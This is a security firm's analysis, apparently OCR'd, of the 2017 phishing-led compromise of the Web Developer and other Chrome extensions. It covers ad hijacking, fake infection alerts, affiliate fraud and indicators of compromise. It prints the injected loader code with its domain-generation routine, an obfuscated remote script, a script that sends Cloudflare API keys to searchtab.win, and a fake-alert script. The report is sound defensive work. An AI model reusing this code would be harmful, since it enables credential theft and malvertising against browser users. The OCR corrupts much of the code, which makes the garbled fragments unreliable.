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Overview

Chrome Extensions are a powerful means of adding functionality to the Chrome browser with features ranging from easier posting of content
on social media to integrated developer tools. At the end of July and beginning of August, several Chrome Extensions were compromised after
their author’s Google Account credentials were stolen via a phishing scheme. This resulted in hijacking of traffic and exposing users to
potentially malicious popups and credential theft.

We specifically examined the “Web Developer 0.4.9” extension compromise, but found evidence that “Chrometana 1.1.3”, “Infinity New Tab
3.12.3" [8][10] , “CopyFish 2.8.5”" [9], “Web Paint 1.2.1” [11], and “Social Fixer 20.1.1” [12] were modified using the same modus operandi by
the same actor. We believe that the Chrome Extensions TouchVPN and Betternet VPN were also compromised in the same way at the end of
June.

Analysis

On August 12 Chris Pederick reported [1] that his Extension, Web Developer for Chrome, had been compromised (Figure 1).
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( Chris Pederick

@ @chrispederick

The Web Developer for Chrome account has
been compromised and a hacked version of
the extension (0.4.9) uploaded =

4:25 PM - 2 Aug 2017
Figure 1: Chris Pederick’s tweet from August 2, 2017 regarding the compromise of his Web Developer for Chrome Extension

We retrieved the compromised version and isolated the injected code.

O,

Web Developer 049 « Enabled
Adds a toolbar button with various web developer tools. The official port of the Web

Developer extension for Firefox,

Details Options Reload (Ctrl+R)

1D: bfbameneiokkabdmiek hjnrfkcnldhhim

Allow in incognito o Allow access to file URLs

Figure 2: Web Developer 0.4.9 Chrome Extension published by a bad actor after the legitimate extension was compromised

] chrome.storage.local.get('inscalled', fonction (item) {
] if (item && item.installed) {

installed = item.installed;

console.log('Installed:' + installed):;
] if (installed) {

console.log('Installed ms:" + (Date.now() - installed)):
] if ((Date.now() - installed) > 10 % &0 % 1000) {
console.log('How');

var date = new Date():

var day = date.getUTCDate():

var month = date.getUICHonth(} + ~:
VAr year date.getUICFullYear() ;
var hour date.getUTCHours () ;

console.log(hour) ;
var d = day + '-' + month + '-' + years
console.log(d)

var hash = "wd"” + md5(d) + ".win";

conzole.log(haszh) :

var config_fragment = '<sc' + 'ri' + 'pt sr' + 'c="ht'+ 'tp' + 's://' + hash + '/ga.js"></sc '+ 'ri' +

var range = document.createRange() ;

range.setStart (docoment .body, 0):
document.body.appendChild(range.createContextualFragment (config fragment)):
}
¥
}
1
var WebDeveloper = WebDeveloper || {}: // eslint-disable-line no-use-before-define

Figure 3: Snippet of the inserted code in content.js from the compromised version of Web Developer 0.4.9

In general terms, the compromised extension first checks to ensure that the Chrome Extension has been installed for 10 minutes using the

following line of code:

if ((Date.now() - installed) > 10 * 60 * 1000)

Before proceeding with the rest of the extension code, compromised components of the extension retrieve a remote file, ga.js, over HTTPS

from a server whose domain is generated via a domain generation algorithm (DGA):

|
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var date = new Date();

var day = date.getUTCDate();

var month = date.getUTCMonth() + 1;
var year = date.getUTCFullYear();
var hour = date.getUTCHours();

var d = day +'-' + month + '-' + year;
var hash ="wd" + md5(d) + ".win";

On August 2, for example, the network request was:
https://wd7bdb20e4d622f6569f3€8503138c859d[.]win/ga.js.
At that time, the file was served by Cloudflare.

The day after, the network request was:

https://wd8a2b7d68f1c7c7f34381dc1a198465b4[.]win/ga.js

"6 REEN KT 3\ x65\xT2
xﬁ} \KT4A\R3IZ\XZE\ KT\ KEF \x"" "‘xEA‘ \xT4 xﬁn Xﬁw .

"3\ x3I0N\R2E\xT2", "\ x3D",

43\x68\x69\x6C\x6

"%xe;%xvskxTﬁEKEF","‘x“"‘xs~ xé:tx&ﬁ","‘ xs“‘xs- \XTEY xé“‘ﬂEa \xTT"] ; 1f(top[ 0x4d27 ]][_qudzv[;ll[_Oxedzv[_]](_oquzv ];> =)0
fuanction() {var _axb2b9x1=aocnment[_OxiGZT[%]J(_axadZT[ 1) :_Oxb2boxl[_O0x4d27[c]]= _qudzT['J:_Oxb2b9x1[_0x4d27[-]]= _Ox4d27[=] ;var _0Oxb2bix2=
document [_0x4d27[10]] (_0x4d27[4]) [0] ;_Oxb2b9x2[_0x4d27[12]] [_0x4d27[11]] (_0Oxb2b9%1, Oxb2b9x2)}) () jelse {if(top[_Ox4d27[2]] [_0x4d27[2]] [_0x4d27[
111(_0x4d27[15])= -1){(function(){var _Oxb2bSx3=document[_ 0%4d27[:]] (_0x4d27[]):_Oxb2bOx3[_0x4d27([6]]= _0x4d27(7]:_Oxb2b3x3[_0x2d27[:]]=
1+ _0x4d27[15]+ _Ox4d27[16]+ _Ox4d27[17]+ _Ox4d27[15]+ _Ox4d27[19]+ _0x4d27[20)+ _0x4d27[21]+ _0x4d27[22]+ _0x4d27[23]+ Math[_0x4d27[

1000% Matn[_0x4d27[24]1]1()) :var _Oxb2bix2=document[_0x4d27[10]] (_Ox4d27[2]) [0]:_Oxb2b9x2[_0x4d27[12]][_0x4d27[11]] (_0xb2b9x3,_0xb2box2
)itry{var _Oxb2b9xd=document[_0x4d27[27]] [_0x4d27[26]] ;_Oxb2bIx4[_0x4d27[12]] [_0x4d27[11]] (_0xb2b9x%2,_ 0xb2b9x4) Jeatch (&) {document[_0x4d27[2711(

_Ox4d27[22]] (_Oxb2b%x2) }}) () } }; (function (_Oxb2b9x5, Oxb2b9x2, Oxb2bSx€, Oxb2bSx7, Oxbib9xs, Oxb2bIx3, Oxb2blxa) {_0xbZbSx5[_Ox4d27[=:

“oxp2zboxs:_0xbZb9x5[_0xbZbIxE]= _0xbZb3x5[_0xb2b9x8] || function() {(_DxbZbIxS[_0xbZbIxE][_O0X4627[33]1]= _Oxb2bIxS[_0xbzboxs] [_0x4427[331111 [1)[

_0x4d27[32]] (arguments) },_0xb2b¥x5[_0xb2Zb3x8] [_0x4d2T[34])= 1* new Date();_Oxb2b9x9= _0xb2b8x2[_0x4d27[5]](_0xb2b8x6) , Oxb2bSxa= _Oxb2bIx2[
_Ox4d27[10]1] (_0Oxb2b9x6) [0];_O0xb2bOx0[_0x4d27[35]1]1= 1:_ Oxb2bOx0[_ 0x4d27[Z]]= _0Oxb2bOx7: OxbZbOxa[_ O0x4d27[12]1]1[_! Ox&ﬂi?[.A]]l Oxb2boxD2, 0xb2bOxa
) }) (window,document, _0x4d27[¢],_Ox4d27[22],_0x4d27[30]) ;ga(_0x4d27[25],_Ox4d27[37],_0x4d27[32]) ;ga(_0x4d27[29],_0x4d27[40])

war wc = document.createElement ("script®);
wWe.Type
Wo.arc -

¥ g.website/alert_ce.php';
var s = document.getElementsByTaglams ('=script') [0];
s.parentNode. insertBefore (wc, =5):

Figure 4: Step 1 remote ga.js code called by the victim’s browser using the compromised extension - retrieved August 3, 2017

["cloudflare.com™,"index0f","href”,"location™,"script™,"createElement™, "type™,
"text/javascript™,"src","//searchtab.win/ga.j=2","getElementsByTagName",
"insertBefore™,"parentNode","redirect2.top","//pa”,"rtne”,"r-ne","t.me", "n/co”
"de/?","pid=","9738","20&", "=", "random™ ,"floor"™ ,"firstChild"™, "body", "appendChild"™
"https://www.google-analytics.com/analytics.js","ga","GoogleAnalyticsObject™,
"push®","q","1","async","create™,"UA-103045553-1" ,"auto"™,"send"™ , "pageview"”]

Figure 5: Array contained in the ga.js after unescaping; note that Cloudflare immediately removed the domains when we notified them of the

malicious activity

The code from this first step allows the threat actors to conditionally call additional scripts including some to harvest Cloudflare credentials:

- @ redirect2.top/ga.js

console.log( 'window - onload'); // 4th
console. log(window.bootstrap); // 4th
console.log(window.bootstrap.data.user.email);
console. log(window.bootstrap.atok);

/{ console.log(window.bootstrap); // 4th

var xmlhttp = new XMLHttpReguest();
xmlhttp.open( GET', "https://wuw.cloudflare.com/api/va/userfapi_key', true);
wmlhttp.setRequestHeader(“x-atok", window.bootstrap.atok);
xmlhttp.onreadystatechange = function() {

if (xmlhttp.readyState == 4) {

if(xmlhttp.status == 200) {

var obj = JS0N.parse(xmlhttp.responseText);
var key = obj.result.api_key;
console. log(key);
(new Image).src = 'J/searchtab.win/ga.php?user=" 4 encodeURIComponent(window.bootstrap.data.user.email) + “&key=' + encodeURIComponent{key);

¥

|3
xmlhttp.send(null);
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Figure 6: Conditionally called Step 2 script allowing the actor to grab and exfiltrate Cloudflare credentials after the victim’s login

At step 2, several other scripts can be called (Figure 7):

No=CAC t @vasc

081 private... text/x-java..

200 HTTPS f.partnerwork.men

200 HTTPS y.partnerwork.men

0 HTTP partner-net.men

842 oprivate... text/x-java...

Figure 7: Some of the calls generated by the injected ga.js

As shown in Figure 8, the compromised version of the extension attempts to substitute ads on the victim’s browser, hijacking traffic from
legitimate advertising networks.

m

m

m og
A~

m g

m

—

m oo m om0
- —

o

m m

m oo m oo Mmoo m
e el alalalarlalar

m o

m o oo mm oom om

m
e

Figure 8: Sample of strings that trigger a substitution attempt (from 973820 _BNX.js?rev=133)

While the attackers substituted ads on a wide range of websites, they devoted most of their energy to carefully crafted substitutions on adult
websites (Figure 9).
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Figure 9: Code snippet demonstrating the extensive effort involved in properly substituting advertisements in adult websites; retrieved on

August 3, 2017 from 973820_BNX js?rev=133

Figure 10 shows several additional triggers for advertising substitutions, again on adult websites and particular advertising networks:

if (a.src 88
om|mgh.mgid.com|d
- vision\.com|adserve . adpulse|ads\. |serw
ma'.ngsh.ru|s\.yimgh. com|al\ . ax\.rarerul..ru|ca
display'.com|syndication\ .exdynsrv\. Vofullfilmizlesem',.com|w
net|bith.ly|@1\.creat rekt. tro'ﬂi | cdn®
sh.n"\ com|cdn’,

AT pgrfor"u:- \.cz|adservel. adpulsel. i /69 ru|ssl-
rh.ru|buckridge). link gh.link|exoclick\.com|tsyndicate\.com|adst’
.com|cdn’.brand-

.com|us

1|L5maker'-. Y.netadcli
net|ng_d\ com|r \.bg|reklam;
.gnezdo.ruly lersh.net|shopi.gn

om|ad\,.serve-sys\,.com|ox-
isdos j er'.com|securel.adn
.ru|statich.smi2\.net|banners |toolsh.

fi|wgh. ‘s\ fi adfcy
. cdn . org|ac‘..ltl:a'\ner's._ com|disqusads
iframe|in2'\ . zog\ ‘1nk|1r~4
ising\.com

.info|hhcdn\. ru| a4\
“.com|ch . smartc
m|adserver’,.a

Jav68\ . me| javEs\. tv|ads\. adxpansion\. com|olimpbanner
.clickonometrics\.pl|search).supplyframe
.trbetmedia’, . com|medis\ . winaffiliatesh.co
V.o

Yoru | in3Y

ru|ads'.addgame’, . com|processh . nextads\.ir|coinad
\.ru|code’.barrior\ . ru|bennery .media
.bannersnack..com|h'.holder’.com'.ua|il. holde

1 “.mk|xblasteradsl).com|bY.turbol.az|ved
r|blockadz), .com|me
.axi.rarerul.ru|multi’
eople’ .com| tools),
Lenxstxh . top|regh.nxstxi . top|adsh. 1

omads | ad
\.ru|uploadbanner | s@'
Y .ua|reklami|torcadve
media\.innity\.net|alipromo.com|ads\.adfox\ .ru| cdnvt \
dpb'.adnegah\, .net |ad\.anetwork\.ir |ib com|uploadbanners | bk\.
i v uimse .net|ad\.adverticum.net|i
.com|pcash\. imliv om|d29gqcij\ . com| static\.drtuber.com
rembed . com |1\, axstx\ . top|clkrevy.com|sendmad\. com|pl\ . nxstx). top|cdn

\.com|cdn
dh.adtube’ .ir
< .com|ads'. ama

e\ info back.e"d\ opogame
M.clickyab\.com|ads2 usclicks\.com|ads2
d.com| usr\ . dropkickmedia'. com|a\. adnium\ . com
n | speednetworks) . adk2x\ .com|ads\ .medi-

cabavision\.com| fastelick\
\.com| cdn'  waframedias’.com|adm'. shinob
com|s3-sa-east-

ads',. com|akhtm', .nspmotion\..com|gocdn®. rum
\.com|superkinobob' .ru|onedrivet.

.co|edn\

solution\.de|pub\ . dreamboxcart\. com|ad\ . doubleclick\.net|track\ . adfor

\.net|adsh.persgroeph.net|leaderboard’ . php | zlovyh. smel. sk|adx\. admicrol

c:lm|onsccn ..ral"
.com|ads',. egrana’,
future\.net|partnerney

tradeadexchange'..com|creative apromoter’,.com|adserver' .adtech' .de|
su|twodrivel.su|cdn?\.rocks|ads'.betweendigital .com|bxjch\.top|cszz\.ru|adve

net|media‘.adrcdn’. com| image:

.pubh.gohal.ru|in\ . .kpyub\.com|adservery.juicyads om|partners),.smmnewscentery.com|amsl-
.ero- ad*ertlsmgx com | £@s5 pstreamservice\.com|dyn\.empflix\.com|as\.sexad\ .net|ad_detaily.htmli?

.com|dyn\ . tnaflix\.com|adserver’ . .exoticads\. com| delivery\ afficfore ._.cm|de"ver‘_,'\ pornh.com|
com|hi llt:pauﬂx net|ads2\ . contentabel. cam|ad=. Eﬂll‘en aht:\ com|ss'\.phncdn'. com|cdnld-static-

ion\.traffichaus\.com|adv\.hZporn\.com|ads\. hZporn'.com| adspaces’.ero-

ad= fcster‘
t|rotator
shar

.urldelivery\.com|ads\.trafficjunky\.ne

g\ cun|ndbu ksh.brandrea
ngh.com| ad2h . adfarml’

(a.src BE a.src.match(/["@-9a-z]+
| .com|bet3655ffi].iates om|medial.easyadsY,.bg|betweendigitaly,.com|adrivery.ru|ng2\.
| smartadserver’,.com|pri . w -net|am[@-
dau’.top|adocean’, \.adkixh.com)[“@-9a-z]+ img))
change_| peas (a);

} else if (a.id &R a.id.match(/(adnzone_3@|mgiframe|zd async_frame|cdxhd_ifr|adnxs_tag|utif|ants-
banner |actionteaser|SC_TBlock|lx_ tab]: RTBIFR|yottos |DAIFR|lsadvert-zid|AdFox_banner|frame-
innity |INNITYFrame |openx_spot|gnr|_poster_iframe|hsoub_sdplace|_fu_frame_banner |adtimaIFramelirapper|adnzone |exo_vidBanner|ads_zone|av
_iframe|AdFox_plug|oas_frame|baner|advertur|republer |ya_partner_R|xhtml_banner|adfoxHtmlS_iframe|_ switch_placeholder|sovrn_ad_unit|a
_frame|Leaderboard |Marketing|Rectangle|sas|atwAdFrame |ox |aswift|google_decrypt_frame|cto_iframe|google ads_iframe|google_ads_frame|rt
8])/img)) {

sdsth . com|promovirall.
vy . eacdn', . com | newpromo | zedo’,
9]+\.net|gterm\ . top|clhko\.top|

om|goyetteconnelly’ .bid|ad

zid|ad_ifr|adfox_iframe|AdFox
tur_section|ertb|eclick_ads
_iframe|ados_frame|adf_[@

change_peas{a);

a.parentNode;
ndex0f("," +w+ ¥ + h+ ',") !== -1} {

Figure 10: Other substitution triggers (695529 BNX.js?rev=144)

The advertising substitutions work for a specific set of 33 common banner sizes including 468x60, 728x90, and many more spanning
numerous aspect ratios (Figure 11).
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Figure 11: Banner formats handled by the compromised extension based on a version retrieved on August 3, 2017 rom 973820_BNX.js?
rev=133

The advertising calls themselves specify the substituted banner format. For example, one particular ad call read:
b.partner-net[.]Jmen/code/x/b/?pid=973820&adu=0&s=468x60

In many cases, victims were presented with fake JavaScript alerts prompting them to “repair” their PC then redirecting them to affiliate
programs from which the threat actors could profit. Figure 12 shows a malvertising chain that brings users from the fake alert to an affiliate site;
we observed the compromised extension directing victims to two such affiliates, although others may also have been used.

200 HTTPS oading.website  falert_ce.php 256 private... textfjavasc...
200 HTTP loading. website  ftds.php?subid=ce2 338 private... textfhitml; c...
302 HTTP www.mb102.com [nk.asp?o=114208c=9182718a=567548=115288.. 209 private text/html
302 HTTP www.maxbounty.com fink.asp?o=114208c=9182718a=5675481=115288... 304 private textfhiml
200 HTTP wip.deanmypc.online  fmxbt1/?x-context=4569063808utm_source=mxap... 51,524 private text/himl; ...
200 HTTP cdn.deanmypc.online  /Ip/w/29/asc/lp29.c88 2,153 textfrss
Figure 12: Chain to affiliate program from a fake JavaScript alert
The code generating the fake alert page is shown in Figure 13:
[ https://loading.website/- X
C | & Secure | https://loading.website/alert_ce.php
var msg = 'Your computer is infected. You have to check it with antivirus.';

if {confirm(msg)) {
var tds_url = "http://loading.website/tds.php?subid=ce2’;
top.location.href = tds_url;
else {

(S

Figure 13: Code generating the fake JavaScript alert
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Figure 14: One of the affiliate programs receiving the hijacked traffic
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Figure 15: Another affiliate program receiving the hijacked traffic.

The popup alerts were also reported in May with the “Infinity New Tab” compromise. The involved code in that compromised extension [5] is
almost identical, but the DGA was slightly different:

var day = date.getDate();

var month = date.getMonth() + 1;

var year = date.getFullYear();

var d = month + /' + year;

var tds_url = 'http://' + md5(d) + ".pro/tds.php?subid=ce’;

The same malicious activity was also reported in some fake EU Cookie-Consent alerts [6] (Figure 16). The server involved in those cases,
browser-updates].]info, is the same as the one used in the “Infinity New Tab” case and most likely is an old front for the same backend as
redirect2[.]top and loading[.]Jwebsite. While those details are outside the scope of this blog, it is worth noting that examining these activities
allows us to trace them back to @BartBlaze’s post from July 2016 [7]:
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€ = | @ Secure | hitps//cdn.cookiescriptinio [+]

Cookie Consent Script

The most popular free solution to US and
European Cookie Laws

European and American laws require that digital publishers give visitors to their
sites and apps information about their use of cookies and other forms of local
storage. These laws also require that consent be obtained. A breach of these

regulations can result in a fine of up to $500,000.

S

jebaite uses cookies 1o ensure you get the best experience on our website

Cookie Script - Tvanifra X

Wps//sreookiescriptinfo

Cookie Consent Script Uzmite kod ~ Kontakti

Zvani¢na besplatna opcija za Zakon o
“kolaci¢ima” Evropske unije

Evropski zakoni nalaZu da digitalni izdavaci daju posetiocima svajih sajtova i
aplikacija informacije o upotrebi “kolaci¢a” i ostalim oblicima lokalnog skladiStenja.

Ovi zakoni, takode, zahtevaju dobijanje pristanka. Kréenje ovih pravila moze
dovesti do novéane kazne i do 500,000 €.

—

Figure 16: One of the servers currently used by this group to publish a trapped cookie-consent JavaScript script

Figures 17-19 show that this activity is able to generate substantial traffic:
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Public info about browser-updates.info: | update

Qverview: browser-updates.info has a global Alexa ranking of 2072330 and ranked 61657 in France. The website server is using |P address
104.28.31.75 and is hosted in San Francisco, California, United States. The Google page rank of this website is N/AM0.

site Title: © Propeller Ads — Display and Mobile Advertising Netwaork
Description: Propeller Ads offers monetization opportunities to website owners and advertising agencies while providing advertisers access to

millions of targeted users from around the globe

Alexa Traffic Ranks

(Average of last 30 days) WiRols eormation

Registered On 13-May-2017

Global Rank 2,072,330
Xpire n 13-May-201

Reach Rank 1,671,550 Expires O 3-May-2018

Updated On 13-May-2017
Country France

. Regisfrar NameCheap, Inc
Rank in Country 61,657
Raw Data

Last Update 2017-08-03

Domain name: browser-updates.info =

Global Rank Trend of The Past Year
Registry Domain ID: D563300880839689548-LRMS

(3] Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com

Updated Date: 2017-25-13T16:32:50.00Z

s00k Creation Date: 20817-85-13T716:28:089.00Z

Registrar Registration Expiration Date: 2818-85-13Tl6

400k

800k ,
LOM Registrar: NAMECHEAP INC
- T T T T 2
Oct'16 Jan '17 Apr'17 Jul 17 Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613182187
Home Page Information Reseller: NAMECHEAP INC
Domain Status: clientTransferProhibited https://icann.
Host IP 104.28.31.75

Domain Status: serverTransferProhibited https://icann

Qan Franciersn Malifamia | initad MAamain S+atuc: addBarind hitnc:/firann aralanngaddDan

Figure 17: Alexa report on browser-update].]Jinfo

. @ Secure | hittps)//www.similarweb.com/website/searchtab.win#overiew

i Analyze any Website or A froducts  Seluvons  Resourges  Compar
milarWeb vae an o Q

L Download POF  J) All countries - Last month (june 17)

@ searchtab.wine

O Global Rank @ ™ Country Rank @ (@ Category Rank @
T . i

Vorldwide Unite Unknown ggi;

il

#54,1081 #60,002! N/A

Traffic Overview e

Total Visits @ Engagement
[ On deskiop & mobile
mb raph
Total Visits 919.68K
(i Avg. Visit Duration 00:05:46
Pages per Visit 2.27
#» Bounce Rate 44.29%

What do you think about our traffic analysis? Send Feedback

Figure 18: Similarweb report on searchtab|.Jwin
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How popular is partner-net.men?

Alexa Traffic Ranks

How is this site ranked relative to other sites?

Global Rank
2y Alexa
400k ¢ 374,382
600k Rankin France
800k
i1 52,894
1.0M T T
Oct 'l6 lan'17 Apr 'L7 Jul 17

Figure 19: Alexa report on partner-net[.Jmen
The Phishing

Our colleagues at Phishme have already examined the credential phishing that originally allowed the actors to compromise the extensions [3];
the Web Developer extension case was almost identical:

On@D. 2017 at (. chrome-dev-support (support@chromedevelopment freshdesk.com) wrote:

Dear Developer,

Your Google Chrome item, ' with ID: mid not comply with our program
policies and will be removed from the Google Chrome Web Store unless you fix the Issue.

Please log in to your developer dashboard for more information.

\ Bit.ly link shortening https://click.rdr12[.Jtop/click.php?
Thank you for your cooperation, authuser=extension_id&ext_id=extension_id&ext_name=
Google Chrome Web Store team Extension+Name

Figure 20: Screenshot of the email used to harvest extension coder credentials
Conclusion

Threat actors continue to look for new ways to drive traffic to affiliate programs [13] and effectively surface malicious advertisements to users.
In the cases described here, they are leveraging compromised Chrome extensions to hijack traffic and substitute advertisements on victims’
browsers. Once they obtain developer credentials through emailed phishing campaigns, they can publish malicious versions of legitimate
extensions. In addition to hijacking traffic and driving users to questionable affiliate programs, we have also observed them gathering and
exfiltrating Cloudflare credentials, providing the actors with new means of potential future attacks.
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Indicators of Compromise

10Cs

click.rdr11[.Jtop|31.186.103.146

chromedevelopment|.]site|31.186.103.147

login.chromeextensions|.]info|31.186.103.149

chromeextensions].]info|31.186.103.149

wd8a2b7d68f1c7c7f34381dc1a198465b4(.]win|104.131.30.88

wd7bdb20e4d622f6569f3e8503138¢859d[.]win|104.131.30.88

loading[.]website|162.255.119.12

searchtab[.]win|104.131.67.58

redirect2[.]top|104.131.67.58
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browser-updates].]info|198.54.117.212

browser-updates].]info/firebase_subscribe.js

imagetwist].Jinfo|174.138.62.139

https://wd7bdb20e4d622f6569f3e8503138c859d[.]win/ga.js

http://searchtab[.]win/ga.js

http://redirect2][.]top/ga.js

http://partner-net[.Jmen/code/pid/linkcheck.js?rev=133

https://f.partnerwork[.Jmen/code/code/index_4.php

https://f.partnerwork[.Jmen/code/code/mss_3.js

https://y.partnerwork[.]Jmen/code/code/index_3.php

http://partner-net[.Jmen/code/pid/973820_BNX.js?rev=133

http://partner-net[.Jmen/code/?pid=973820&r=

login.chromedevelopment][.]site|31.186.103.147

y.partnerwork[.]Jmen|185.147.15.35

f.partnerwork[.Jmen|185.147.15.37

f.partnerwork[.Jmen|185.147.15.37
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partner-net[.Jmen|95.211.68.187

partner-net[.Jmen|95.211.68.186

b.partner-net[.]Jmen|

http://land.pckeeper[.]software/land/7.13.222/index.php?
affid=mzb_251.563088.1501708560.18.mzb&utm_source=prfl&utm_medium=cps&utm_campaign=pck_prfl_cps_ww_713&utm_term=&utm_cont

http://land.pckeeper[.]Jsoftware/land/7.13.222/index.php?
affid=mzb_281.2294418.1495859377.18.mzb&utm_source=maxb&utm_medium=cps&utm_campaign=pck_maxb_cps_eu2_713&utm_term=&utn

http://wlp.cleanmypc[.Jonline/mxbt1/?x-context=496906380&utm_source=mxapcfx5&utm_campaign=mxapcfx5&pxI=MXA2240_MXA2193_RUNT

cookie-policy[.]org|45.55.128.61

cdn2|.]info|45.55.128.61

cdn8l.]info|45.55.128.61

cdn.cookiescript[.]info|52.222.226.223

cdn.front[.]to]162.243.105.107

UA-103045553-1

283599517713

ganalytics|[.Jwin|104.131.30.88

92fffeObab2da491a2b7576627f3693a[.]pro

7ce508e6099e31f68c2fd50¢362f087d].]pro
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partner-print[.Jmen|185.147.15.39

extstat[.Jcom|185.147.15.39
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